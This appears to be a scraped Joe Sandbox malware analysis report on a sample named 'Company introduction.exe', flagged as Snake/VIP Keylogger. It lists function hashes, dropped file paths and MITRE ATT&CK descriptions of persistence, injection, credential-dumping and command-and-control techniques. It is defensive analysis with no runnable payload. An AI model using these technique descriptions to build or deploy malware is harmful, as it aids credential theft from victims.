Function 015AD044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2938837509.00000000015AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_15ad000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83fb31aca7ca1f8c8aebadc3f3c423f5231b22fb63dfece26c4eca0287207760
Instruction ID: 44e11cbef5779a8e3c30245c73376bd9ef6b04636ef20ed3cb83fe0294249f6f
Opcode Fuzzy Hash: 83fb31aca7ca1f8c8aebadc3f3c423f5231b22fb63dfece26c4eca0287207760
Instruction Fuzzy Hash: 3C213471584204DFCB11EF68C9C4B2EBBB5FB88314F60C96DE8494F652D73AD446CA61

Function 01835649 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71b9c1e2b2b5a16524af531656e4c349f3f479abdc161bdd89bddad67dbffc31
Instruction ID: af84c0a306cd6cd1830f57f6d6aefc7896ffe1540c2b087440c1ccee77809b27
Opcode Fuzzy Hash: 71b9c1e2b2b5a16524af531656e4c349f3f479abdc161bdd89bddad67dbffc31
Instruction Fuzzy Hash: 0221FF31A05209CFCB429F68E409AAA3BA2FBE9315F044069E905CB258DB389E54CFD1

Function 01839761 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbf76aa737be1d04aa2c4f56a2d9460ca68984f7f6ab3485a7598bdf00f5521e
Instruction ID: efb3c3b747f2b67379fbe7bdc0ad3f7cd2f20539b605a160ba2ae9d81d49676d
Opcode Fuzzy Hash: cbf76aa737be1d04aa2c4f56a2d9460ca68984f7f6ab3485a7598bdf00f5521e
Instruction Fuzzy Hash: 39215C34E00249DFDB15CFA5D5509EDBFB6EF89309F288065E415E6394DB389A41CF50

Function 018362F0 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82e813f8fc4b94fd4690c54d96ef1a25a9723b8a36a2e4943c3233e3471413b8
Instruction ID: e82b11795555a212fb0b1e3ec60bc58e70b3aaccff7702c245c66c1bdd977759
Opcode Fuzzy Hash: 82e813f8fc4b94fd4690c54d96ef1a25a9723b8a36a2e4943c3233e3471413b8
Instruction Fuzzy Hash: 1B11E335705612AFD7169A2ED45853E7BA2FFDA35532C4069E506CB364DF24CE028BD0

Function 0183F313 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33a48d059ada0529d2f9f67df87c01e21465815434f51b7f0361bffd9c632531
Instruction ID: e6905b8d0b38e759c8f2d4627eef81ff641795c857ed86af812904676509f0d5
Opcode Fuzzy Hash: 33a48d059ada0529d2f9f67df87c01e21465815434f51b7f0361bffd9c632531
Instruction Fuzzy Hash: A2218870A0020ADFCB40DFB8D98069EBFF2FF84300F1495A9D0549B225EB30AA09CB81

Function 018327F0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f20e87b7b8dab0ce5f63d86dd04931ed9971b94e0d312f3d332ab0ab981f6bb
Instruction ID: a13741b04b25aed9ac481bee517cd451e660f38c05666ec765cf197ad47c93b2
Opcode Fuzzy Hash: 8f20e87b7b8dab0ce5f63d86dd04931ed9971b94e0d312f3d332ab0ab981f6bb
Instruction Fuzzy Hash: 0E21DE74D0521A8FCB51DFA8D8445EEBFF1EF4A310F1452AAD805B6214EB381A85CFA1

Function 0159D463 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2938753755.000000000159D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0159D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_159d000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: cfa0b02442424d95d6dc2c975b7f1a481bd390eb4a1276329ed184c63dadd90f
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: E0119D76504240CFDF16CF54D5C4B1ABF71FB94318F24C5A9D9090B256C336D45ACBA2

Function 0183F320 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 735380c80f31dd4af3332ff5066e68fc9f88528f48042ae7bad542c09d0ca9e9
Instruction ID: f75470b08edd168417f20e93ef55ceb3c13c5beda03ac9c6ecdf46e2660f5da6
Opcode Fuzzy Hash: 735380c80f31dd4af3332ff5066e68fc9f88528f48042ae7bad542c09d0ca9e9
Instruction Fuzzy Hash: BF117C70E0010ADFCB44DFB8D58069EBFF6FB84300F10D5A9C1189B324EB74AA498B81

Function 015AD03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2938837509.00000000015AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_15ad000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 90e3290f241b71ac49313fb06556284c02c3f248cf94471d9d9a7e6ee2b6dc88
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 5611AC755442448FDB12DF54C5C4B19BBB2FB44214F24C6A9E8494F652C33AD44ACB51

Function 01835E98 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd7868197cf90984fdebe17e4253e6bed08bae5064978f8391667d99deb6b018
Instruction ID: dec17de12d0df99d44f7ee3ca80471e384eb565bcd13754c38510259e0efac31
Opcode Fuzzy Hash: bd7868197cf90984fdebe17e4253e6bed08bae5064978f8391667d99deb6b018
Instruction Fuzzy Hash: 4E012D327002555FCB528E68D8106AE3FE7EFD9351B188065F904CB284DA758F1187E2

Function 0183E8E8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4fb11c4436c53ad1e70261009a114ba2bc7609422651f18bbb3e0caf7503e21
Instruction ID: c540e782cc8198fafb2c8220ea461b2e55d4e88899a5a6598e0d7429fe156245
Opcode Fuzzy Hash: c4fb11c4436c53ad1e70261009a114ba2bc7609422651f18bbb3e0caf7503e21
Instruction Fuzzy Hash: 9E113574E0020AEFDB41CFA4E4409EEBBB1FB89310F108066D810A3350D7785A16DF91

Function 0183ABE0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff8960d73b65f3e44baaba79458b291ca42e36f3b01284236a0033e9f7aa862d
Instruction ID: 5b747073cf3d4b72612264c3c2956c60a85087d0bce718d717c3067135561635
Opcode Fuzzy Hash: ff8960d73b65f3e44baaba79458b291ca42e36f3b01284236a0033e9f7aa862d
Instruction Fuzzy Hash: 98F02B353002144B9B2E5A2ED454A2ABBDEEFC8B5530D4079E949C7361EE24CD0387C0

Function 01839C23 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 850093f8d24bea86049ab62ff9d704bc5a57eb0f4374a3c98141e4739b1a8dd9
Instruction ID: 435028860cb898eb4dd1bfa853fcfe8eb80f3ed4a96f51a99ca579440e57ef97
Opcode Fuzzy Hash: 850093f8d24bea86049ab62ff9d704bc5a57eb0f4374a3c98141e4739b1a8dd9
Instruction Fuzzy Hash: 2CF090329102589FCF12CF68D848AEABBF5EFC9335F088166E518CB265D3314A15CB91

Function 018328A3 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31dd265918bd5bf402663c96dfa0dba19004f01e546a1c7030c65be8c409e0d0
Instruction ID: 38d70ecb465374ae381aeea74df26ddedd0411d9b6e50b866f6e7dcbf21ac37b
Opcode Fuzzy Hash: 31dd265918bd5bf402663c96dfa0dba19004f01e546a1c7030c65be8c409e0d0
Instruction Fuzzy Hash: 14E02632E10326CBC701EBF0EC000EEF734AEC6211B48465BC0A837190EB306219C793

Function 01836739 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43133a2a0aab2a899e5ce5c8a3e769f3a319fc564ee38c7f0fb24bf0cd5deec7
Instruction ID: 15fbb1bf25a298d23daf199449d7f32535d7f97b8216a0597654fce5e18f143c
Opcode Fuzzy Hash: 43133a2a0aab2a899e5ce5c8a3e769f3a319fc564ee38c7f0fb24bf0cd5deec7
Instruction Fuzzy Hash: 60E086300083564FCB039B30D8551647BBEEE92315B1090E1D4054D16FDF7C18458B52

Function 018328B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bcde3b24ac54d04faf17ec1eeae87ed58d3f5a3d6a8f08dcbf3a28ab98a354e
Instruction ID: 38500f3bade9f6392afe9a83f925e0f025d31839c3fe1b8d4446b912d8b1d3f2
Opcode Fuzzy Hash: 1bcde3b24ac54d04faf17ec1eeae87ed58d3f5a3d6a8f08dcbf3a28ab98a354e
Instruction Fuzzy Hash: 72D01231D2022A578B00AAA5DC044EEB738EE95665B504626D55437140EB70665986A2

Function 0183AFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f652b076075d458cac09ed7eede02fc6b0a2040571dd80b14b29f5c89e5d91c
Instruction ID: a46855b3d93c2d0875beff48976183557d0f9ee57d2f60c4ae4b4113fe3983f7
Opcode Fuzzy Hash: 0f652b076075d458cac09ed7eede02fc6b0a2040571dd80b14b29f5c89e5d91c
Instruction Fuzzy Hash: FED0673AB41018DFCB149F99E8408DDF7B6FB98221B148126E915A3265C6319925DB54

Function 01836748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb529b51a954339ab472cc9a7042fed832618d2e7e9ca5a5632ceca0392e4bb8
Instruction ID: 9d26a06793eda14736edaace0b2bfd11837c7f1517d7e0d3c8ae497a605cdc06
Opcode Fuzzy Hash: eb529b51a954339ab472cc9a7042fed832618d2e7e9ca5a5632ceca0392e4bb8
Instruction Fuzzy Hash: 8EC012340443094EC741EB75ED465A5772EF6D0300B50D56090050A66EDF7C6D894F90

Non-executed Functions

Function 01832A69 Relevance: 5.1, Strings: 4, Instructions: 96COMMON

Download Yara Rule

Strings

Xbq, xrefs: 01832A9E
Xbq, xrefs: 01832B57
Xbq, xrefs: 01832AD8
Xbq, xrefs: 01832BA4

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq
API String ID: 0-2732225958
Opcode ID: a70ce1f24bc402affdefba2616fb5f44d1348235fafa08f7d6a97fbab26e3333
Instruction ID: 179ade7e8b1a20592afc5c6efd7b20b24a49ee862626095a1c382b9fab98558d
Opcode Fuzzy Hash: a70ce1f24bc402affdefba2616fb5f44d1348235fafa08f7d6a97fbab26e3333
Instruction Fuzzy Hash: 50314D71E002298BDF699F6D898036EBAA7ABC4300F184479C515E7295EB74CB819BD2

Function 01836920 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;^q, xrefs: 0183692C
\;^q, xrefs: 01836936
\;^q, xrefs: 01836952
\;^q, xrefs: 0183695E

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID: \;^q$\;^q$\;^q$\;^q
API String ID: 0-3001612457
Opcode ID: 310e0457d29783e03ff090df79abcf383d676396db68e5c74ff04a71224f2778
Instruction ID: 900d5982132640e07f2849caf14394099c28fa0a223789c1d1a11e91241f7888
Opcode Fuzzy Hash: 310e0457d29783e03ff090df79abcf383d676396db68e5c74ff04a71224f2778
Instruction Fuzzy Hash: B601BC31B40109EFCB648E2CC5449A537EBAFC8B64739446AE946CF3B5EA31DE4187C0

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Company introduction.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Company introduction.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FzXKnGk.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_axwzueqw.uwj.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cgkdfev1.wn5.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qgdecf5v.gaf.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ygg41dke.ntw.ps1

C:\Users\user\AppData\Local\Temp\tmpE629.tmp

C:\Users\user\AppData\Local\Temp\tmpEF32.tmp

C:\Users\user\AppData\Roaming\FzXKnGk.exe

Windows Analysis Report
Company introduction.exe

Function 014B4208 Relevance: 3.1, Strings: 2, Instructions: 588
COMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre